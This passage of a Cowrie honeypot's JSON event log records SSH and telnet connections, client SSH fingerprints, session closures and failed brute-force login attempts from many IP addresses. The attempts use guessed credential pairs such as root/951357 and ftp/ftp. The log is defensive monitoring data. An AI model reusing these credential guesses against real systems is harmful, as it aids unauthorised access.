"ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:47.056575Z","src_ip":"158.178.141.16","session":"dd67c8175531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:47.923860Z","src_ip":"158.178.141.16","session":"dd67c8175531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:49.136442Z","src_ip":"158.178.141.16","session":"dd67c8175531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":39418,"dst_ip":"159.203.135.109","dst_port":22,"session":"816da4faf1aa","protocol":"ssh","message":"New connection: 62.133.62.83:39418 (159.203.135.109:22) [session: 816da4faf1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:52.093958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:52.098878Z","src_ip":"62.133.62.83","session":"816da4faf1aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:52.179373Z","src_ip":"62.133.62.83","session":"816da4faf1aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"951357","message":"login attempt [root/951357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:52.427464Z","src_ip":"62.133.62.83","session":"816da4faf1aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:53.509804Z","src_ip":"62.133.62.83","session":"816da4faf1aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46208,"dst_ip":"10.17.0.5","dst_port":23,"session":"6958c332e05c","protocol":"telnet","message":"New connection: 192.119.13.58:46208 (10.17.0.5:23) [session: 6958c332e05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:55.309330Z"}
{"eventid":"cowrie.session.closed","duration":52.33416676521301,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:59.464996Z","src_ip":"192.119.13.58","session":"78a9bd5dd937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":45108,"dst_ip":"159.203.135.109","dst_port":22,"session":"774a9d4bc0f0","protocol":"ssh","message":"New connection: 49.51.202.114:45108 (159.203.135.109:22) [session: 774a9d4bc0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:00.402944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:00.409990Z","src_ip":"49.51.202.114","session":"774a9d4bc0f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:00.496416Z","src_ip":"49.51.202.114","session":"774a9d4bc0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ypwang","password":"ypwang123","message":"login attempt [ypwang/ypwang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:00.801244Z","src_ip":"49.51.202.114","session":"774a9d4bc0f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:01.873381Z","src_ip":"49.51.202.114","session":"774a9d4bc0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":55768,"dst_ip":"10.17.0.5","dst_port":22,"session":"b560bb74b00d","protocol":"ssh","message":"New connection: 89.108.118.91:55768 (10.17.0.5:22) [session: b560bb74b00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:04.844262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:04.849500Z","src_ip":"89.108.118.91","session":"b560bb74b00d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:04.997623Z","src_ip":"89.108.118.91","session":"b560bb74b00d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"y6t5r4e3w2q1","message":"login attempt [root/y6t5r4e3w2q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:05.447111Z","src_ip":"89.108.118.91","session":"b560bb74b00d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:06.667105Z","src_ip":"89.108.118.91","session":"b560bb74b00d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":53328,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cbac371425d","protocol":"telnet","message":"New connection: 186.195.16.41:53328 (159.203.135.109:23) [session: 5cbac371425d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:12.406608Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51694,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62c4f6a1a57","protocol":"telnet","message":"New connection: 192.119.13.58:51694 (10.17.0.5:23) [session: f62c4f6a1a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:18.702992Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":50304,"dst_ip":"159.203.135.109","dst_port":22,"session":"8365fec6c89d","protocol":"ssh","message":"New connection: 102.223.92.101:50304 (159.203.135.109:22) [session: 8365fec6c89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:24.420273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:24.426257Z","src_ip":"102.223.92.101","session":"8365fec6c89d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:24.601628Z","src_ip":"102.223.92.101","session":"8365fec6c89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pick","password":"pick","message":"login attempt [pick/pick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:25.325325Z","src_ip":"102.223.92.101","session":"8365fec6c89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:26.502230Z","src_ip":"102.223.92.101","session":"8365fec6c89d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":38438,"dst_ip":"159.203.135.109","dst_port":22,"session":"00788f22957e","protocol":"ssh","message":"New connection: 158.178.141.16:38438 (159.203.135.109:22) [session: 00788f22957e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:30.974539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:30.980660Z","src_ip":"158.178.141.16","session":"00788f22957e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:31.195852Z","src_ip":"158.178.141.16","session":"00788f22957e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sa@123456","message":"login attempt [root/Sa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:32.075788Z","src_ip":"158.178.141.16","session":"00788f22957e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:33.291982Z","src_ip":"158.178.141.16","session":"00788f22957e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":41852,"dst_ip":"10.17.0.5","dst_port":22,"session":"e63585a1cc4c","protocol":"ssh","message":"New connection: 200.175.61.207:41852 (10.17.0.5:22) [session: e63585a1cc4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:35.309424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:35.314480Z","src_ip":"200.175.61.207","session":"e63585a1cc4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:35.459430Z","src_ip":"200.175.61.207","session":"e63585a1cc4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fleet","message":"login attempt [root/fleet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:36.074841Z","src_ip":"200.175.61.207","session":"e63585a1cc4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:37.223635Z","src_ip":"200.175.61.207","session":"e63585a1cc4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.79305124282837,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:40.102257Z","src_ip":"192.119.13.58","session":"6958c332e05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.90099620819092,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:55.307471Z","src_ip":"186.195.16.41","session":"5cbac371425d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42084,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab2ce19d785","protocol":"telnet","message":"New connection: 192.119.13.58:42084 (10.17.0.5:23) [session: aab2ce19d785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:18:59.250527Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45592,"dst_ip":"10.17.0.5","dst_port":23,"session":"6636c901c840","protocol":"telnet","message":"New connection: 192.119.13.58:45592 (10.17.0.5:23) [session: 6636c901c840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:04.174038Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":53044,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ef32cc42117","protocol":"ssh","message":"New connection: 49.51.202.114:53044 (159.203.135.109:22) [session: 3ef32cc42117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:09.339139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:09.345592Z","src_ip":"49.51.202.114","session":"3ef32cc42117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:09.416024Z","src_ip":"49.51.202.114","session":"3ef32cc42117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:09.723462Z","src_ip":"49.51.202.114","session":"3ef32cc42117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:10.795772Z","src_ip":"49.51.202.114","session":"3ef32cc42117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.32814598083496,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:11.031003Z","src_ip":"192.119.13.58","session":"f62c4f6a1a57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":58686,"dst_ip":"10.17.0.5","dst_port":22,"session":"e18428d272d1","protocol":"ssh","message":"New connection: 185.92.182.129:58686 (10.17.0.5:22) [session: e18428d272d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:14.592780Z"}
